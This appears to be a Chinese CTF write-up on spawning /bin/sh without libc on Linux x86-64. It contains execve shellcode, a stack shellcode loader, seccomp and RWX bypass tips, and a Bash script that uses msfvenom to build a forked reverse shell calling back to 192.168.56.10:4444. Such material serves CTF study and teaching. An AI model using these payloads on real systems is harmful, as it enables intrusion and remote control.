引言
在某些编程挑战或受限环境中,例如 CTF竞赛或嵌入式系统,C 标准库(libc)可能被明确禁止使用。这种限制阻止了使用便捷的函数,如 system() 或 execve(),迫使开发者直接与操作系统交互。

在一道题目中,给定了编译参数如下: gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out,它禁用了标准库的包含,并放宽了某些安全限制,为使用低级技术(如系统调用和 shellcode)打开了大门。本文将探讨在 Linux x86-64 系统上如何绕过这些限制以执行任意命令,特别是启动 /bin/sh,主要通过两种方法:不使用 libc 的手写 C 系统调用和纯 shellcode 注入。我们还将讨论常见问题、优化技巧和实际实现,包括一个 shellcode 加载器脚本。
理解约束
给定的编译参数提供了关键的环境信息:
-nostdinc:阻止包含标准 C 库头文件,确保代码不能依赖标准库。-z execstack:使栈内存可执行,允许在栈上运行代码(如 shellcode)。-fno-stack-protector:禁用栈溢出保护(栈缓冲区溢出检查),便于利用栈溢出。-no-pie:禁用位置无关可执行文件(PIE),生成的二进制文件使用固定地址,便于 shellcode 跳转。-std=c11:使用 C11 标准,但不影响核心限制。-I/var/www/include:指定自定义头文件路径,但不提供标准库功能。
目标是通过直接与 Linux 内核交互,执行 /bin/sh,而核心方法是使用 execve 系统调用(系统调用号 59)。由于标准库被禁用,我们需要通过内联汇编直接调用 syscall 指令或使用纯 shellcode 来实现。
方法一:手写系统调用(无 libc 的 C 程序)
实现原理
Linux 内核通过系统调用(syscall)提供服务,允许用户态程序请求内核执行特定操作,例如启动新进程或打开文件。execve 系统调用可以执行 /bin/sh,其原型为:
int execve(const char *pathname, char *const argv[], char *const envp[]);
在 x86-64 架构下,系统调用通过 syscall 指令触发,参数通过寄存器传递(rdi、rsi、rdx 等),系统调用号存储在 rax 中。对于 execve,我们需要:
rax = 59(execve的系统调用号)rdi:指向/bin/sh字符串的指针rsi:argv(通常为NULL)rdx:envp(通常为NULL)
由于不能使用 libc,我们需要通过内联汇编直接发出 syscall,并确保程序不依赖标准库的启动代码(如 crt0)。
最小 C 代码实现
以下是一个最小化的 C 程序,使用内联汇编实现 execve("/bin/sh", NULL, NULL):
// mini.c
__attribute__((naked, noreturn)) void _start() {
asm volatile(
"lea binsh(%rip), %rdi \n\t" // pathname
"xor %rsi, %rsi \n\t" // argv = NULL
"xor %rdx, %rdx \n\t" // envp = NULL
"mov $59, %rax \n\t" // execve
"syscall \n\t"
"hlt \n\t" // never return
"binsh: .asciz \"/bin/sh\""
);
}
代码解析
__attribute__((naked, noreturn)):naked:告诉编译器不要为函数生成序言和结尾代码(例如栈帧设置),完全由汇编控制。noreturn:指示函数不会返回,避免编译器生成不必要的返回代码。
_start:这是程序的入口点,取代标准 C 的main函数,因为我们不使用 libc 的启动代码。- 内联汇编:
lea binsh(%rip), %rdi:将/bin/sh字符串的地址加载到rdi(RIP 相对寻址,确保位置无关)。xor %rsi, %rsi和xor %rdx, %rdx:将argv和envp设置为NULL。mov $59, %rax:设置系统调用号为 59(execve)。syscall:触发系统调用,执行/bin/sh。hlt:停止执行,防止程序继续运行(实际上不会到达此指令,因为execve会替换进程映像)。binsh: .asciz "/bin/sh":定义一个以空字符结尾的字符串/bin/sh。
编译与链接
为了生成不依赖 libc 的可执行文件,使用以下命令:
gcc -nostdlib -static -Wl,--build-id=none -o mini mini.c
strip -s mini
-nostdlib:不链接标准库或启动代码,确保二进制文件完全独立。-static:静态链接,避免依赖动态链接器(如ld.so)。-Wl,--build-id=none:移除构建 ID,进一步减小二进制体积。strip -s mini:去除符号表和调试信息,将二进制文件缩小到几百字节。
生成的 mini 文件是一个极小的静态二进制文件,直接调用内核的 execve 服务,启动 /bin/sh。
优化与控制体积
静态链接可能会生成较大的二进制文件(几 KB)。为了进一步优化,可以使用自定义链接脚本:
ld -Ttext 0x400000 -e _start mini.o -o mini
-Ttext 0x400000:将代码段起始地址设置为 0x400000(ELF 默认文本段地址)。-e _start:指定入口点为_start。mini.o:由gcc -c mini.c编译得到的目标文件。
这种方法可以将二进制文件控制在 1 KB 以内,适合受限环境。
方法二:纯 Shellcode 实现
实现原理
Shellcode 是一段紧凑的机器码,设计为在受限环境中直接执行。由于题目放宽了栈保护(-z execstack 和 -fno-stack-protector),我们可以将 shellcode 写入可执行内存(例如栈或数据段),然后跳转执行。以下是一个 16 字节的 shellcode,用于调用 execve("/bin/sh", NULL, NULL):
; nasm -f bin sh.s -o sh.bin
BITS 64
lea rdi, [rel binsh]
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
binsh: db "/bin/sh",0
机器码
汇编后,生成以下 16 字节机器码:
48 8D 3D 0E 00 00 00 ; lea rdi,[rip+0xe]
48 31 F6 ; xor rsi,rsi
48 31 D2 ; xor rdx,rdx
48 C7 C0 3B 00 00 00 ; mov rax,0x3b
0F 05 ; syscall
2F 62 69 6E 2F 73 68 00 ; "/bin/sh",0
使用场景
如果题目存在栈溢出漏洞,并且栈可执行(由 -z execstack 保证),可以将上述机器码写入栈或其他可执行内存区域,然后将控制流跳转到该地址。跳转可以通过以下方式实现:
- 栈溢出:覆盖返回地址为 shellcode 地址。
- 函数指针覆盖:将函数指针指向 shellcode。
- 直接调用:将 shellcode 放入
.data或.bss段,转换为函数指针调用。
加载 Shellcode 的 C 程序
为了方便注入 shellcode,可以使用以下 C 程序加载并执行它:
int main(void) {
unsigned char sc[] = {
0x48, 0x8D, 0x3D, 0x0E, 0x00, 0x00, 0x00,
0x48, 0x31, 0xF6,
0x48, 0x31, 0xD2,
0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00,
0x0F, 0x05,
0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00
};
((void(*)())sc)();
return 0;
}
sc[]:存储 shellcode 的字节数组。((void(*)())sc)():将数组转换为函数指针并调用,执行 shellcode。
编译时使用题目提供的参数:
gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
由于 -z execstack,sc[] 所在的栈内存是可执行的,shellcode 将直接运行并启动 /bin/sh。
常见问题与解决方案
在实际环境中,可能遇到以下挑战:
-
没有
/bin/sh:- 解决方法:使用
open、read和write系统调用实现一个简单的 shell。例如:
通过这些调用读写标准输入输出,模拟 shell 功能。int open(const char *pathname, int flags); ssize_t read(int fd, void *buf, size_t count); ssize_t write(int fd, const void *buf, size_t count); - 替代方法:使用
openat和execveat访问/proc/self/fd/3等文件描述符。
- 解决方法:使用
-
Seccomp 沙箱限制:
- 解决方法:
- 使用
prctl(PR_SET_SECCOMP, 0)尝试禁用 seccomp(需要权限)。 - 使用
ptrace修改自身进程的 seccomp 规则(高级技巧)。 - 退而求其次,使用
open、read和write系统调用(通常未被 seccomp 禁用)实现 ORW(Open-Read-Write)攻击。
- 使用
- 解决方法:
-
栈不可执行:
- 解决方法:
- 将 shellcode 放入
.bss或.data段(这些段通常是可写的)。 - 使用
mmap系统调用分配一块 RWX(可读、可写、可执行)内存:
设置void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);prot = PROT_READ | PROT_WRITE | PROT_EXEC,flags = MAP_PRIVATE | MAP_ANONYMOUS。
- 将 shellcode 放入
- 解决方法:
-
二进制文件体积过大:
- 解决方法:如前所述,使用自定义链接脚本或
strip工具减少体积。 - 极致优化:直接生成纯机器码(shellcode),避免 ELF 文件头。
- 解决方法:如前所述,使用自定义链接脚本或
Shellcode 加载器脚本
为了自动化生成反弹 shell 的 shellcode 并嵌入 C 程序,我写了如下 Bash 脚本:
#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"
# 1. 生成 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST="$LHOST" LPORT="$LPORT" \
-f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }
# 2. 转换为十六进制
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)
# 3. 生成 C 文件(子进程执行)
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p, char *const a[], char *const e[]);
int main(void)
{
if (fork() == 0) {
unsigned char sc[] = {$SC_HEX};
((void(*)())sc)();
}
return 0;
}
EOF
echo "[+] Generated $OUT_C"
脚本解析
msfvenom:使用 Metasploit 的msfvenom生成反向 shell shellcode,连接到指定LHOST和LPORT。xxd:将原始 shellcode 转换为十六进制格式,适配 C 数组。fork():在 C 程序中创建子进程执行 shellcode,主进程保持运行,确保二进制文件被删除后不断连。
使用方法
- 设置
LHOST和LPORT为你的监听地址和端口。 - 运行脚本,生成
test.c。 - 使用题目提供的编译命令编译:
gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out - 在
LHOST:LPORT上启动监听器(如nc -lvp 4444),运行a.out,获取反向 shell。
结论
在禁用 C 标准库的 Linux x86-64 环境中,通过直接使用 syscall 指令或 shellcode,我们可以绕过限制并执行任意命令(如启动 /bin/sh)。方法一(C 系统调用)适合快速开发和调试,方法二(纯 shellcode)则适合极小体积和漏洞利用场景。
总的来说,“禁止 libc” 只是让你丢掉 system() 这种糖,无论环境如何限制,只要还能发出 0x80 或 syscall 指令,你就能让内核干活。
原文 https://blog.csdn.net/2301_79518550/article/details/150412501